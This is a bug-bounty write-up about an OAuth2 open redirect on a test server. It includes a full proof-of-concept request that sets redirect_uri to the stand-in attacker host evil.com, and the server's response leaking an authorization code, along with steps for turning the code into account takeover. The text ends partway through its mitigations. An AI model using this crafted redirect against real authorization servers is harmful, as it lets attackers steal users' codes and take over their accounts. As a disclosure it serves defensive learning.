Recently discovered and responsibly disclosed a critical “OAuth2 open-redirect vulnerability”

Publié le - Dernière modification le

<h1 id="5250" class="pw-post-title yj gl yk z hb yl sn ym yn yo sp yp yq yr ys yt yu yv yw yx yy yz za zb zc zd cc" data-testid="storyTitle" data-selectable-paragraph="">Full Account Takeover via OAuth2 Open Redirect: How I Discovered a Critical OAuth2 Open Redirect on an Authorization Server</h1> <p id="a53e" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph=""><em class="aep">OAuth2 Open Redirect Leading to Authorization Code Leakage</em></p> <p id="10ca" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Lets dive into it:</p> <p id="e4ac" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Few days ago, I had been invited to test a development environment at&nbsp;<strong class="adt hb">example.dev.com.</strong>&nbsp;At first glance, everything looked well-built and secure, there were no obvious vulnerabilities, no exposed debug pages, and nothing easy to exploit. Even after creating a test account and carefully exploring every visible feature, I couldn&rsquo;t find anything useful at the surface level.</p> <figure class="aet aeu aev aew aex aey aeq aer paragraph-image"> <div class="aeq aer aes"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*v6_itF97DBLbXEkA.gif 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*v6_itF97DBLbXEkA.gif 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*v6_itF97DBLbXEkA.gif 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*v6_itF97DBLbXEkA.gif 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*v6_itF97DBLbXEkA.gif 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*v6_itF97DBLbXEkA.gif 1100w, https://miro.medium.com/v2/resize:fit:500/format:webp/0*v6_itF97DBLbXEkA.gif 500w" type="image/webp" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 250px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/0*v6_itF97DBLbXEkA.gif 640w, https://miro.medium.com/v2/resize:fit:720/0*v6_itF97DBLbXEkA.gif 720w, https://miro.medium.com/v2/resize:fit:750/0*v6_itF97DBLbXEkA.gif 750w, https://miro.medium.com/v2/resize:fit:786/0*v6_itF97DBLbXEkA.gif 786w, https://miro.medium.com/v2/resize:fit:828/0*v6_itF97DBLbXEkA.gif 828w, https://miro.medium.com/v2/resize:fit:1100/0*v6_itF97DBLbXEkA.gif 1100w, https://miro.medium.com/v2/resize:fit:500/0*v6_itF97DBLbXEkA.gif 500w" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 250px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:250/0*v6_itF97DBLbXEkA.gif" alt="" width="690" height="187" /></picture></div> </figure> <p id="2437" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">But that wasn&rsquo;t the end, I spent over 72 hours (3 days) on deep reconnaissance, gathering enough endpoints and parameters to thoroughly test. I trusted that all the effort and patience would eventually pay off.</p> <h3 id="a5bd" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">The collections of my findings for this vulnerability:</strong></h3> <p id="e557" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">/login?service=&hellip;&amp;redirectTo=&hellip;/connect/logout?redirect_uri=&hellip;/user?lang=&hellip;/connect/logout?&hellip;&amp;post_logout_redirect_uri=/callback?=/auth/aud?code=&hellip;&amp;state=&hellip;/login?error=&hellip;/oauth2/authorize?access_type=&hellip;&amp;client_id=&hellip;&amp;code_challenge=&hellip;.&amp;code_challenge_method=&hellip;&amp;login_hint=&hellip;&amp;nonce=&hellip;<strong class="adt hb">redirect_uri=</strong>&amp;response_type=code&amp;scope=&hellip;&amp;state=&hellip;/login?service=..&amp;callback=/auth/callback?code=&hellip;&amp;state=&hellip;</p> <p id="8056" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Redirect parameters are always suspicious. Developers treat the referer and redirect parameters as &ldquo;safe,&rdquo; but both are fully user-controlled. So I tested them all one-by-one.Some returned&nbsp;<strong class="adt hb">500 Internal Server Error</strong>.Some ignored the redirect.Some sanitized the URL.Some replaced it with a safe fallback.</p> <p id="70d4" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">But one endpoint kept bothering me, that was in&nbsp;<strong class="adt hb">Login endpoint</strong>. Clearly showing&nbsp;<strong class="adt hb">/oauth2/authorize?</strong>&nbsp;&hellip;&hellip;. and while reviewing the Burp history, I spotted this request:&ldquo;/oauth2/authorize?access_type=&hellip;&amp;client_id=&hellip;&amp;code_challenge=&hellip;.&amp;code_challenge_method=&hellip;&amp;login_hint=&hellip;&amp;nonce=&hellip;<strong class="adt hb">redirect_uri=</strong>&amp;response_type=code&amp;scope=&hellip;&amp;state=&hellip;&rdquo;</p> <figure class="aet aeu aev aew aex aey aeq aer paragraph-image"> <div class="afz aga bb agb bz agc" tabindex="0"><span class="be bf bg i bh bi bj bk bl speechify-ignore">Press enter or click to view image in full size</span> <div class="aeq aer afy"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 1400w" type="image/webp" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/1*kZqJx5dsdFZULQM4mNdFJg.png 640w, https://miro.medium.com/v2/resize:fit:720/1*kZqJx5dsdFZULQM4mNdFJg.png 720w, https://miro.medium.com/v2/resize:fit:750/1*kZqJx5dsdFZULQM4mNdFJg.png 750w, https://miro.medium.com/v2/resize:fit:786/1*kZqJx5dsdFZULQM4mNdFJg.png 786w, https://miro.medium.com/v2/resize:fit:828/1*kZqJx5dsdFZULQM4mNdFJg.png 828w, https://miro.medium.com/v2/resize:fit:1100/1*kZqJx5dsdFZULQM4mNdFJg.png 1100w, https://miro.medium.com/v2/resize:fit:1400/1*kZqJx5dsdFZULQM4mNdFJg.png 1400w" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:700/1*kZqJx5dsdFZULQM4mNdFJg.png" alt="" width="690" height="378" /></picture></div> </div> <figcaption class="agd kt age aeq aer agf agg z b by u w" data-selectable-paragraph="">Finding of &amp;redirect_uri</figcaption> </figure> <p id="b2bc" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">From this request, I found the redirect_uri very strange because the redirect_uri parameter basically &ldquo;<em class="aep">The heart of OAuth security&rdquo;&nbsp;</em>was exposed directly to user input.</p> <figure class="aet aeu aev aew aex aey aeq aer paragraph-image"> <div class="aeq aer agh"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*FWSMn59IxAaUKc9J.gif 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*FWSMn59IxAaUKc9J.gif 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*FWSMn59IxAaUKc9J.gif 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*FWSMn59IxAaUKc9J.gif 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*FWSMn59IxAaUKc9J.gif 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*FWSMn59IxAaUKc9J.gif 1100w, https://miro.medium.com/v2/resize:fit:960/format:webp/0*FWSMn59IxAaUKc9J.gif 960w" type="image/webp" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 480px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/0*FWSMn59IxAaUKc9J.gif 640w, https://miro.medium.com/v2/resize:fit:720/0*FWSMn59IxAaUKc9J.gif 720w, https://miro.medium.com/v2/resize:fit:750/0*FWSMn59IxAaUKc9J.gif 750w, https://miro.medium.com/v2/resize:fit:786/0*FWSMn59IxAaUKc9J.gif 786w, https://miro.medium.com/v2/resize:fit:828/0*FWSMn59IxAaUKc9J.gif 828w, https://miro.medium.com/v2/resize:fit:1100/0*FWSMn59IxAaUKc9J.gif 1100w, https://miro.medium.com/v2/resize:fit:960/0*FWSMn59IxAaUKc9J.gif 960w" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 480px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:480/0*FWSMn59IxAaUKc9J.gif" alt="" width="690" height="360" /></picture></div> </figure> <h3 id="85be" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Malicious redirect_uri= https://evil.com</strong></h3> <p id="235b" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">After that, I captured the request in Burp Suite and sent it to Repeater. I modified the parameter to&nbsp;<code class="cx agi agj agk agl b">&amp;redirect_uri=https://evil.com</code>, and then tested the response. Boom, it immediately confirmed the issue:In response:</p> <pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="a249" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">HTTP/2 302 FoundLocation: https://evil.com</span></pre> <figure class="aet aeu aev aew aex aey aeq aer paragraph-image"> <div class="afz aga bb agb bz agc" tabindex="0"><span class="be bf bg i bh bi bj bk bl speechify-ignore">Press enter or click to view image in full size</span> <div class="aeq aer agu"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1400w" type="image/webp" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/1*sX7gSQ4zAk8yEKVP7NiTSw.png 640w, https://miro.medium.com/v2/resize:fit:720/1*sX7gSQ4zAk8yEKVP7NiTSw.png 720w, https://miro.medium.com/v2/resize:fit:750/1*sX7gSQ4zAk8yEKVP7NiTSw.png 750w, https://miro.medium.com/v2/resize:fit:786/1*sX7gSQ4zAk8yEKVP7NiTSw.png 786w, https://miro.medium.com/v2/resize:fit:828/1*sX7gSQ4zAk8yEKVP7NiTSw.png 828w, https://miro.medium.com/v2/resize:fit:1100/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1100w, https://miro.medium.com/v2/resize:fit:1400/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1400w" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:700/1*sX7gSQ4zAk8yEKVP7NiTSw.png" alt="" width="690" height="296" /></picture></div> </div> <figcaption class="agd kt age aeq aer agf agg z b by u w" data-selectable-paragraph="">Request &amp; Response of redirect_uri:&nbsp;<a class="as kf" href="https://evil.com/" target="_blank" rel="noopener ugc nofollow">https://evil.com</a></figcaption> </figure> <p id="dbbd" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph=""><strong class="adt hb">Proof-of-concept (POC):</strong></p> <pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="44ae" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">GET /oauth2/authorize?access_type=offline&amp;client_id=7730519a-a50e-4fba-baf2-6cb95db42c98&amp;code_challenge=DpMnL18dxhUFvCupr3IEwWV-86MxEX2FDsrXFsdJ8Jc&amp;code_challenge_method=S256&amp;login_hint=idporten&amp;nonce=vRxCxTuGqkbgvmSzd8EoG0Kw5m4mEhaBUvqVyPDaRSggY8X1-cfcqpAf6SFoWiSw-R28Jis_yOwIR4CFjbNu4w%3D<span class="hljs-variable">%3D</span>&amp;redirect_uri=https:<span class="hljs-regexp">//</span>evil.com&amp;response_type=code&amp;scope=openid+profile&amp;<span class="hljs-keyword">state</span>=7n0OWeXkcL4AbjsRq0rnvP0lMrj4XHBBHTiY71Osya8zE9rSRv0CGRhNhMKfUYpowit3Y_pA_OIYr34hW5Yq1g%3D<span class="hljs-variable">%3D</span>&amp;<span class="hljs-keyword">continue</span> HTTP/<span class="hljs-number">2</span>Host: example.dev.comCookie: PrivacyPolicyOptOut=yes; UsageAnalysisConsent=yes; uio_ga_LMC74K4H2X=GS2.<span class="hljs-number">2</span>.s1777830484<span class="hljs-variable">$o</span>6<span class="hljs-variable">$g</span>1<span class="hljs-variable">$t177783060</span>0<span class="hljs-variable">$j5</span>8<span class="hljs-variable">$l</span>0<span class="hljs-variable">$h0</span>; uio_ga=GA1.<span class="hljs-number">2.1404307975</span><span class="hljs-number">.1777562125</span>; uio_ga_0QSC3B0MRP=GS2.<span class="hljs-number">1</span>.s1777830485<span class="hljs-variable">$o</span>6<span class="hljs-variable">$g</span>0<span class="hljs-variable">$t177783053</span>5<span class="hljs-variable">$j1</span>0<span class="hljs-variable">$l</span>0<span class="hljs-variable">$h0</span>; SESSION=Y2QxN2I0OWEtYWNlMS00MTE0LWE0ODktNWU2MWRkZTYwMWQ1User-Agent: Mozilla/<span class="hljs-number">5.0</span> (Windows NT <span class="hljs-number">10.0</span>; Win64; x64; rv:<span class="hljs-number">150.0</span>) Gecko/<span class="hljs-number">20100101</span> Firefox/<span class="hljs-number">150.0</span>Accept: text/html,application/xhtml+xml,application/xml;<span class="hljs-keyword">q</span>=<span class="hljs-number">0</span>.<span class="hljs-number">9</span>,*<span class="hljs-regexp">/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brReferer: https:/</span>/login.example.dev.comUpgrade-Insecure-Requests: <span class="hljs-number">1</span>Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-sitePriority: u=<span class="hljs-number">0</span>, iTe: trailers</span></pre> <pre class="tx agm agl agn ra ago bv cc"><span id="59cd" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph=""><span class="hljs-string">HTTP/2</span> <span class="hljs-number">302</span> <span class="hljs-string">Found</span><span class="hljs-attr">Server:</span> <span class="hljs-string">nginx</span><span class="hljs-attr">Date:</span> <span class="hljs-string">Mon,</span> <span class="hljs-number">04</span> <span class="hljs-string">May</span> <span class="hljs-number">2026 17:29:48 </span><span class="hljs-string">GMT</span><span class="hljs-attr">Content-Length:</span> <span class="hljs-number">0</span><span class="hljs-attr">Strict-Transport-Security:</span> <span class="hljs-string">max-age=31536000</span> <span class="hljs-string">;</span> <span class="hljs-string">includeSubDomains</span><span class="hljs-attr">Location:</span> <span class="hljs-string">https://evil.com?code=JCXUjVn0NWe5gYxmEkqotrWqChyQG_vE-YgORup-BRx2VMPfoly1Dq2yjQyYUS47Wh_YNY_Rex39KaxJwG9EtYDNo3n4IElpnMmF5F7U21aV731hTiWgjvWlqcYWn3Fj&amp;state=7n0OWeXkcL4AbjsRq0rnvP0lMrj4XHBBHTiY71Osya8zE9rSRv0CGRhNhMKfUYpowit3Y_pA_OIYr34hW5Yq1g%3D%3D</span><span class="hljs-attr">Uio-Cache-Status:</span> <span class="hljs-string">MISS</span><span class="hljs-attr">Cache-Control:</span> <span class="hljs-literal">no</span><span class="hljs-string">-store,</span> <span class="hljs-literal">no</span><span class="hljs-string">-cache,</span> <span class="hljs-string">max-age=0,</span> <span class="hljs-string">must-revalidate</span></span></pre> <p id="f212" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">This clearly showed that the application was blindly accepting unvalidated redirect URIs and redirecting the response to an attacker-controlled domain.</p> <p id="747f" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">My eyes widened.</p> <p id="6d57" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">The server had not only accepted the malicious redirect URI&hellip;It&nbsp;<strong class="adt hb">attached a fully valid OAuth2 authorization code</strong>&nbsp;to it.</p> <p id="3a93" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">At that moment, the vulnerability was confirmed:</p> <h3 id="fc9c" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph="">✔️ Critical Open Redirect on OAuth2 Authorization Server</h3> <h3 id="a423" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph="">✔️ Authorization Code Leakage</h3> <h3 id="b2fa" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph="">✔️ Full Account Takeover Possible</h3> <p id="46a4" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">This wasn&rsquo;t a simple redirect bug. Beside, this was an&nbsp;<strong class="adt hb"><em class="aep">OAuth catastrophe&nbsp;</em></strong><em class="aep">b</em>ecause the authorization code is gold, with that code:</p> <p id="8335" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Anyone who receives it can:</p> <ol class=""> <li id="4492" class="adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo agv agw agx cc" data-selectable-paragraph="">Exchange it for an access token</li> <li id="f568" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo agv agw agx cc" data-selectable-paragraph="">Log in as the victim</li> <li id="732f" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo agv agw agx cc" data-selectable-paragraph="">Access their forms, data, and resources</li> <li id="531c" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo agv agw agx cc" data-selectable-paragraph="">Completely compromise their account</li> </ol> <p id="d37e" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph=""><em class="aep">&ldquo;No phishing, No malware, Just one click.&rdquo;</em></p> <div class="ub am"> <div class="e"><a class="as x au ci aw ab ax i ac ae af ag ah ai aj am" href="https://medium.com/download-app?source=promotion_paragraph---post_body_banner_surround_scribble--9308109f4992---------------------------------------" rel="noopener follow" data-discover="true"><picture><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/0772311393789e9de0647f3f21b8c49e8885f7fad633b7afb9bf5910028a207d" media="(max-width: 551.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/0772311393789e9de0647f3f21b8c49e8885f7fad633b7afb9bf5910028a207d" media="(min-width: 552px) and (max-width: 727.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/34e7314e7989e2483bccb653684e8b94b7c067779fde984447324e44fda1b2ce" media="(min-width: 728px) and (max-width: 903.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/34e7314e7989e2483bccb653684e8b94b7c067779fde984447324e44fda1b2ce" media="(min-width: 904px) and (max-width: 1079.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/34e7314e7989e2483bccb653684e8b94b7c067779fde984447324e44fda1b2ce" media="(min-width: 1080px)" /><img class="bz" alt="Download the Medium app" width="690" /></picture></a></div> </div> <p id="41e6" class="pw-post-body-paragraph adr ads yk adt b adu adw adx ady aea aeb aec aee aef aeg aei aej aek aem aen ub aeo ml cc" data-selectable-paragraph="">**Sigh**</p> <p id="6120" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Finally, as I mentioned earlier, the hard work eventually paid off and it truly did. After 72 hours of deep recon, parameter fuzzing, and redirect testing, the breakthrough came from a single OAuth2 endpoint:</p> <pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="108b" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">/oauth2/authorize?redirect_uri=https://evil.com</span></pre> <p id="bc5a" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">The server&nbsp;<strong class="adt hb">accepted the attacker-controlled redirect_uri</strong>&nbsp;and responded with:</p> <pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="efb2" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">302 FoundLocation: https://evil.com?code=&lt;VALID_AUTHORIZATION_CODE&gt;</span></pre> <p id="fc4f" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">If there&rsquo;s one thing this finding taught me, it&rsquo;s that&nbsp;<strong class="adt hb">deep reconnaissance decides everything</strong>. Spending 72+ hours mapping endpoints and testing parameters gave me a clear understanding of the application. Deep reconnaissance was the key to this finding.</p> <h3 id="15fe" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Why This Vulnerability Was Significant:</strong></h3> <ul class=""> <li id="b8c6" class="adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ahd agw agx cc" data-selectable-paragraph="">Allowed&nbsp;<strong class="adt hb">full account takeover</strong>&nbsp;through stolen OAuth authorization codes.</li> <li id="8c23" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">No strict redirect_uri validation</strong>, breaking core OAuth security.</li> <li id="507a" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">Affected&nbsp;<strong class="adt hb">all example.com users</strong>, including sensitive research and personal data.</li> <li id="83f5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">Victim only had to&nbsp;<strong class="adt hb">click one legit-looking OAuth link</strong>.</li> <li id="14a5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">High GDPR risk</strong>&nbsp;due to potential exposure of personal data.</li> <li id="eed5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Easy, scalable exploit</strong>&nbsp;using a single crafted URL.</li> </ul> <h3 id="6596" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Recommended Mitigations:</strong></h3> <ul class=""> <li id="35aa" class="adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Enforce strict redirect_uri whitelisting,&nbsp;</strong>reject any URI not exactly registered for the client.</li> <li id="b7d8" class="adr ads yk adt b adu agy 